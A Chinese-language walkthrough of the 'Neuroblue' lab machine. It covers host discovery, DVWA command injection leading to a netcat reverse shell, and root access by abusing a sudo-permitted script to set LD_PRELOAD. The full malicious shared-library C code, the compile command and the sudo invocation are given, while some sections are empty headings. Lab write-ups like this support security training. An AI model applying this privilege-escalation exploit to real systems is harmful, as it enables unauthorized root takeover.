渗透测试报告 - Neuroblue

1. 简介

靶机名称: Neuroblue
难度: 简单
攻击者 IP: 192.168.205.188 (Kali Linux)
目标 IP: 192.168.205.203 (Neuroblue)

2. 信息收集 (Enumeration)

2.1. 网络发现 (Network Discovery)

使用 arp-scan 在本地网络中探测存活主机。

┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l        
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.188
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.205.1   00:50:56:c0:00:08       (Unknown)
192.168.205.2   00:50:56:f4:ef:6f       (Unknown)
192.168.205.203 08:00:27:53:84:22       (Unknown) # <-- 发现目标
192.168.205.254 00:50:56:ec:d6:ae       (Unknown)

Ending arp-scan 1.10.0: 256 hosts scanned in 1.871 seconds (136.83 hosts/sec). 4 responded

目标主机 IP 确定为 192.168.205.203。MAC 地址 08:00:27:53:84:22

2.2. 端口扫描 (Port Scanning)

使用 nmap 对目标进行端口扫描,识别开放的 TCP 端口。

2.3. Web 服务探测 (Web Enumeration)

访问 80 端口的 HTTP 服务 http://192.168.205.203/wordpress/

DVWA Login Page

页面显示为 DVWA (Damn Vulnerable Web Application) 的登录界面。DVWA 是一个知名的故意包含漏洞的 Web 应用,用于安全测试和学习。

DVWA 通常有默认的登录凭据。

DVWA Logged In

3. 获取初始访问权限 (Initial Access - DVWA Command Injection)

3.1. 漏洞发现与利用 (Vulnerability Discovery & Exploitation)

3.2. 获取 Shell (Gaining Access)

提交 Payload 后,DVWA 页面会持续加载。返回 Kali 终端,监听器应收到连接。

┌──(kali㉿kali)-[/mnt/hgfs/gx/test]
└─$ nc -lvnp 8888            
listening on [any] 8888 ...
connect to [192.168.205.188] from (UNKNOWN) [192.168.205.203] 35542 # <-- 连接成功

4. 权限提升 (www-data -> welcome -> root)

4.1. 以 www-data 身份进行信息收集 (Enumeration as www-data)

4.2. 切换用户 (www-data -> welcome)

使用获取到的凭据切换到 welcome 用户。

www-data@Neuroblue:/home/welcome$ su welcome
Password: 
welcome@Neuroblue:~$ id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)

成功切换到 welcome 用户。

4.3. 以 welcome 身份进行信息收集 (寻找提权向量)

检查 welcome 用户的 sudo 权限。

welcome@Neuroblue:/tmp$ sudo -l
Matching Defaults entries for welcome on Neuroblue:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on Neuroblue:
    (root) NOPASSWD: /opt/export # <-- 允许以 root 无密码执行 /opt/export

同时,查看 /opt/export 脚本的内容和权限:

welcome@Neuroblue:/tmp$ cat /opt/export
#!/bin/bash

if [ -z $1 ] ;then
        echo "This is VMBreaker export program."
        /usr/local/sbin/VMBreaker
        exit 1
fi

export "$1"="$2" # <-- 关键:使用参数设置环境变量
export "$3"="$4"
export "$5"="$6"
export "$7"="$8"
/usr/local/sbin/VMBreaker # <-- 最后执行另一个程序

welcome@Neuroblue:/tmp$ ls -al /opt/export 
-rwxr-xr-x 1 root root 207 Apr 30 08:55 /opt/export

关键发现:

  1. welcome 用户可以无需密码以 root 权限执行 /opt/export。这是提权的入口。
  2. sudoers 配置中包含 env_reset,这意味着通过 sudo 直接传递 LD_PRELOAD 环境变量(如 sudo LD_PRELOAD=... /opt/export)会被阻止。
  3. /opt/export 脚本本身存在一个严重漏洞:它将命令行参数直接用作 export 命令的参数,允许我们控制脚本内部设置的环境变量名称和值。
  4. 脚本最后会执行 /usr/local/sbin/VMBreaker

4.4. 利用策略 (Exploitation Strategy - Exploiting Script Argument Handling for LD_PRELOAD Injection)

我们的目标是利用 /opt/export 脚本的漏洞来设置 LD_PRELOAD 环境变量,从而劫持后续 /usr/local/sbin/VMBreaker 的执行流程。

计划:

  1. 编写一个 C 文件 (exp.c),包含一个构造函数 (__attribute__((constructor)))。这个函数会在库被加载时自动执行,其功能是设置 uidgid 为 0,然后启动一个具有 root 权限的 shell (/bin/bash -p)。
  2. exp.c 编译成共享库文件 /tmp/exp.so
  3. 执行 sudo /opt/export 命令,巧妙地将 LD_PRELOAD 作为第一个参数 ($1),将我们恶意库的路径 /tmp/exp.so 作为第二个参数 ($2) 传递给脚本。
  4. 脚本执行到 export "$1"="$2" 时,就会在 root 权限下执行 export LD_PRELOAD=/tmp/exp.so
  5. 当脚本最后执行 /usr/local/sbin/VMBreaker 时,由于 LD_PRELOAD 环境变量已被设置,动态链接器会优先加载 /tmp/exp.so,从而执行我们的恶意代码,获得 root shell。

4.5. 执行利用 (Executing the Exploit)

  1. 创建恶意 C 代码:
    切换到可写目录 /tmp,创建 exp.c 文件。

    welcome@Neuroblue:~$ cd /tmp
    welcome@Neuroblue:/tmp$ cat << EOF > exp.c
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <dlfcn.h>
    
    // 构造函数,在库加载时自动执行
    void __attribute__((constructor)) _init() {
        unsetenv("LD_PRELOAD"); // 清理环境变量,避免影响子shell
        setuid(0);             // 设置UID为root
        setgid(0);             // 设置GID为root
        system("/bin/bash -p"); // 执行一个保留权限的root shell
        exit(0); // 执行完shell后退出,避免后续程序执行(可选)
    }
    EOF
  2. 编译共享库:
    使用 gcc 编译 C 代码为共享库。

    welcome@Neuroblue:/tmp$ gcc -fPIC -shared -o /tmp/exp.so /tmp/exp.c -nostartfiles
    welcome@Neuroblue:/tmp$ ls -l /tmp/exp.so
    -rwxr-xr-x 1 welcome welcome 14736 May  1 02:29 /tmp/exp.so # <-- 编译成功
  3. 触发漏洞并注入:
    执行 sudo /opt/export 命令,并传递精心构造的参数。

    welcome@Neuroblue:/tmp$ sudo /opt/export LD_PRELOAD /tmp/exp.so "" "" "" "" "" ""
    # 此处脚本内部执行 export LD_PRELOAD=/tmp/exp.so
    # 然后执行 /usr/local/sbin/VMBreaker
    # VMBreaker 加载时,动态链接器发现 LD_PRELOAD,加载 exp.so
    # exp.so 的构造函数被执行...
    root@Neuroblue:/tmp# 

4.6. 获取 Root 权限 (Gaining Root Access)

成功执行上述 sudo 命令后,/tmp/exp.so 中的构造函数被触发,我们直接获得了一个 root 权限的 shell。

root@Neuroblue:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@Neuroblue:/tmp# whoami
root

成功获取 root 权限。

注记: 在本报告的撰写过程中,AI 语言模型为部分章节的文本组织、概念阐述及语言优化提供了辅助支持。